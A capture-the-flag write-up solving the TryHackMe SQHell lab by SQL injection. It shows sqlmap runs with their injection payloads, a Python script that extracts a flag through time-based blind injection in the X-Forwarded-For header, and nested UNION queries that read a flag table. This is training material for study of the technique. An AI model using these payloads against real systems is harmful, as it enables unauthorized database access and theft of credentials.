TryHackMe - SQHell

Try and find all the flags in the SQL Injections

Give the machine a minute to boot and then connect to http://$IP

There are 5 flags to find but you have to defeat the different SQL injection types.

Hint: Unless displayed on the page the flags are stored in the flag table in the flag column.

Title SQHell
Difficulty Medium
Author tryhackme
Tags web, mysql, sql injection, sqli

Enumeration

Open web-browser and route to the URL http://sqhell.thm

Untitled

Press Ctrl+U to view the source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<!DOCTYPE html>
<html lang="en">
  <head>
    <title>Home</title>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <link
      rel="stylesheet"
      href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"
      integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u"
      crossorigin="anonymous"
    />
  </head>
  <body>
    <div class="pull-right" style="padding:15px">
      <a href="/login" class="btn btn-success">Login</a>
      <a href="/register" class="btn btn-info">Register</a>
    </div>
    <div class="container" style="padding-top:60px">
      <h1 class="text-center">My Blog</h1>
      <div class="row">
        <div class="col-md-8 col-md-offset-2">
          <div class="panel panel-default">
            <div class="panel-heading">
              Second Post : by <a href="/user?id=1">admin</a>
            </div>
            <div class="panel-body">
              Etiam sit amet est in lacus ullamcorper luctus. Aliquam erat
              volutpat. Aliquam diam enim, consequat eget dui nec, congue porta
              enim. Integer venenatis dignissim erat, non elementum ante
              tincidunt a. Proin congue faucibus odio, at condimentum nibh hen
              [<a href="/post?id=2">Read More</a>]
            </div>
          </div>
          <div class="panel panel-default">
            <div class="panel-heading">
              First Post : by <a href="/user?id=1">admin</a>
            </div>
            <div class="panel-body">
              Lorem ipsum dolor sit amet, consectetur adipiscing elit. In id
              mollis quam. Quisque quis enim eu velit dapibus dignissim quis id
              dolor. Sed volutpat, magna ut venenatis egestas, diam velit
              hendrerit nisl, ac suscipit lacus tortor ut nisi. Vestibulum [<a
                href="/post?id=1"
                >Read More</a
              >]
            </div>
          </div>
        </div>
      </div>
      <div class="text-center">
        <a href="/terms-and-conditions">Terms &amp; Conditions</a>
      </div>
    </div>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script
      src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"
      integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa"
      crossorigin="anonymous"
    ></script>
  </body>
</html>

Verify that there are 2 params that are potentially vulnerable with the SQL Injection such as:

/user?id=1
/post?id=1
/post?id=2

Moreover, the /login and /register attributes are also injectable too within their submit form.

Click the Login button > Enter a random pair of creds > Click Login to submit the form > Capture the request to view the sent data format:

Untitled

Untitled

Meanwhile, the /register function is different: Click the Register button > Fill in the form and click Register to submit. However, it says ‘Registrations are no longer open’:

Untitled

But when I inspect the network traffic of the page, I capture these things:

Untitled

These requests is established by the javascript following from the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
$('input[name="username"]').keyup(function () {
$(".userstatus").html("");
let username = $(this).val();
$.getJSON("/register/user-check?username=" + username, function (resp) {
if (resp.available) {
$(".userstatus").css("color", "#80c13d");
$(".userstatus").html("Username available");
} else {
$(".userstatus").css("color", "#F00");
$(".userstatus").html("Username already taken");
}
});
});

Therefore, the request param /register/user-check?username= might be injectable too.

Exploit

I will use the sqlmap as the primary tool to enumerate and extract data from the target server database.

Flag 5

Start with the param /user?id=1

┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ sqlmap -u http://sqhell.thm/user?id=1 --batch --dbs --dump
[...]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 5124=5124

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: id=1;SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 9663 FROM (SELECT(SLEEP(5)))AtZr)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-5902 UNION ALL SELECT CONCAT(0x716b716b71,0x65594b6f53665378507362797352764b715469764669596b7266594d7a566d636d73475056707a71,0x7162787171),NULL,NULL-- -
---
[...]
[08:32:51] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] sqhell_4
[...]
Database: sqhell_4
Table: users
[1 entry]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | password | admin    |
+----+----------+----------+

Do the same with param /post?id=1 (same meaning with the /post?id=2):

┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ sqlmap -u http://sqhell.thm/post?id=1 --batch --dbs --dump
[...]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1354=1354

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1 AND GTID_SUBSET(CONCAT(0x71626a6b71,(SELECT (ELT(6747=6747,1))),0x716b626b71),6747)

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: id=1;SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 8595 FROM (SELECT(SLEEP(5)))dcru)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=-6095 UNION ALL SELECT NULL,NULL,CONCAT(0x71626a6b71,0x51576e6d79514c68484e4658587a77466a597958767a70465571684b677967544e5a59466c577973,0x716b626b71),NULL-- -
---
[...]
Database: sqhell_5
Table: flag
[1 entry]
+----+---------------------------------------------+
| id | flag                                        |
+----+---------------------------------------------+
| 1  | THM{FLAG5:[REDACTED]} |
+----+---------------------------------------------+
[...]
Database: sqhell_5
Table: users
[1 entry]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | password | admin    |
+----+----------+----------+

I get the flag 5 and the user’s creds. However, when I submit the creds in the login form, it does not work as I expected

Untitled

Flag 3 & Flag 1

Next, I keep dumping the data from the 2 submit forms of /login and /register. According to the result, these submit forms are only injectable by the time-based blind vulnerability. Therefore, it will take a long time for the process:

┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ sqlmap -u http://sqhell.thm/login --data="username=admin&password=password" --dbs --dump-all --batch
[...]
sqlmap identified the following injection point(s) with a total of 95 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 7437 FROM (SELECT(SLEEP(5)))KizG) AND 'Dnnc'='Dnnc&password=password
---
[...]
[08:40:43] [INFO] retrieved: sqhell_2
available databases [2]:
[*] information_schema
[*] sqhell_2
[...]
Database: sqhell_2
Table: users
[1 entry]
+----+---------------------------------+----------+
| id | password                        | username |
+----+---------------------------------+----------+
| 1  | [REDACTED] | admin    |
+----+---------------------------------+----------+
┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ sqlmap -u http://sqhell.thm/register/user-check?username=guest --batch --dbs --dump-all
[...]
sqlmap identified the following injection point(s) with a total of 97 HTTP(s) requests:
---
Parameter: username (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=guest' AND (SELECT 1613 FROM (SELECT(SLEEP(5)))Uqqk) AND 'Snhx'='Snhx
---
[...]
[08:47:26] [INFO] retrieved: sqhell_3
available databases [2]:
[*] information_schema
[*] sqhell_3
Database: sqhell_3
Table: users
[1 entry]
+----+---------------------------------+----------+
| id | password                        | username |
+----+---------------------------------+----------+
| 1  | [REDACTED] | admin    |
+----+---------------------------------+----------+
[...]
Database: sqhell_3
Table: flag
[1 entry]
+----+---------------------------------------------+
| id | flag                                        |
+----+---------------------------------------------+
| 1  | THM{FLAG3:[REDACTED]} |
+----+---------------------------------------------+

One more time, I use the new password found to login again on the /login page and it works!

Untitled

Flag 2

Read the Terms & Conditions from the target application, I focus on this line which could help me to inject the database:

Untitled

iii: We log your IP address for analytics purposes

Researching for awhile, I find out that this is relevant to the Host Header Injection. To easily understand this vulnerability, I will perform the injection with my python script to log the response time based on the Time-based blind type.

Start with a normal request:

1
2
3
4
5
6
7
import requests

url = "http://sqhell.thm/"

response = requests.post(url)

print(response.elapsed.total_seconds())

The response time is about 0.5 ms:

┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ python3 flag2.py
0.505435

From here, I append the headers value within my time-based blind payload:

1
2
3
4
5
6
7
8
9
import requests

url = "http://sqhell.thm/"

header = {"X-forwarded-for": "' UNION SELECT SLEEP(5),2,3#"}

response = requests.post(url, headers=header)

print(response.elapsed.total_seconds())

And capture the response time:

┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ python3 flag2.py
5.507326

The response time is now up to 5ms as which I have specified in the header script → The payload worked! Then, I modify the payload to include the flag’s characters like this:

1
2
3
4
5
6
7
8
9
import requests

url = "http://sqhell.thm/"

header = {"X-forwarded-for": "' UNION SELECT SLEEP(5),2,3 FROM flag where flag like 'THM%'#"}

response = requests.post(url, headers=header)

print(response.elapsed.total_seconds())
┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ python3 flag2.py
5.506915

So here is the logic: I will randomly input every single alphanumeric characters inside the THM{} and capture which response will take time up to 5ms → The correct character in the flag.

import requests
import string

url = "http://sqhell.thm/"

characters = string.digits + string.ascii_uppercase

flag = "THM{FLAG2:"

# Observe the total characters in 43

while len(flag) < 43:
for i in characters:
payload = "' UNION SELECT SLEEP(3),2,3 FROM flag where flag like '{}".format(flag) + "{}%'".format(i) + "#"
header = {"X-forwarded-for": payload}
response = requests.post(url, headers=header)

    	# Set the response time to capture the correct characters
    	res_time = response.elapsed.total_seconds()

    	# Add the correct character into flag
    	if res_time > 3.0:
    		flag += i
    		print("Temp flag: THM{{FLAG2:{}".format(flag))

print("Final Flag: {}".format(flag) + "}")

And the result:

┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ python3 flag2.py
Temp flag: THM{FLAG2:THM{FLAG2:C
Temp flag: THM{FLAG2:THM{FLAG2:C6
Temp flag: THM{FLAG2:THM{FLAG2:C67
Temp flag: THM{FLAG2:THM{FLAG2:C678
[...]
Final flag: THM{FLAG2:[REDACTED]}

Additionally, the sqlmap can solve this by appending the flag --header as following:

┌──(kali㉿kali)-[~/TryHackMe/sqhell]
└─$ sqlmap -u http://sqhell.thm/ --header="X-forwarded-for:1*" --dbs --dump-all --batch
[...]
sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests:
---
Parameter: X-forwarded-for #1* ((custom) HEADER)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: 1' AND (SELECT 2846 FROM (SELECT(SLEEP(5)))coCQ) AND 'hCxe'='hCxe
---
[...]
available databases [2]:
[*] information_schema
[*] sqhell_1
[...]
Database: sqhell_1
Table: flag
[1 entry]
+----+---------------------------------------------+
| id | flag                                        |
+----+---------------------------------------------+
| 1  | THM{FLAG2:[REDACTED]} |
+----+---------------------------------------------+

Flag 4

The FLAG 4 could be found using the SQL Inception technique which means query in query.

Let’s get back to the path /user?id=1:

Untitled

Base on the result of the sqlmap dumping earlier, this param is also vulnerable with the UNION QUERY and the Boolean-based blind type. This time, I will base on the boolean-based blind vulnerability to extract the data.

If I modify the user id as 1 to 0 (or any other numbers), the application will response with an error:

Untitled

But when I append the UNION SELECT query within the correct numbers of column required, it will correctly response within these values:

Untitled

Now I use the SQL Inception technique to insert one more UNION SELECT query:

/user?id=0 UNION SELECT "0 UNION SELECT 1,2,3",2,3#

Untitled

As the result, the application still responses the interface as above, but the Posts section has missed the relevant values (First Post, Second Post). This might be the affected from incorrect numbers of column required. Therefore, I append more column into the inside UNION SELECT query as below:

/user?id=0 UNION SELECT "0 UNION SELECT 1,2,3,4",2,3#

Untitled

It’s back even the bullet list is not the same as before, but there is something there so I can observe that the query is ok. Before digging into the database, I want to verify which column’s number is presented for the 2 in the bullet list below the Posts section, so I modify 1 of 4 number inside the query to a character:

/user?id=0 UNION SELECT "0 UNION SELECT 1,'A',3,4",2,3#

Untitled

After verifying that the 2 number in the query is represented for the 2 number in the bullet list, I will next retrieve the tables from the database:

/user?id=0 UNION SELECT "0 UNION SELECT 1,table_name,3,4 FROM INFORMATION_SCHEMA.TABLES",2,3#

Untitled

So I have detected the table flag exists. I now modify the query to extract the column name:

/user?id=0 UNION SELECT "0 UNION SELECT 1,colum_name,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag'",2,3#

Untitled

Now, just simply replace the number 2 in the query to the column name as flag and get the flag:

/user?id=0 UNION SELECT "0 UNION SELECT 1,flag,3,4 FROM flag",2,3#

Untitled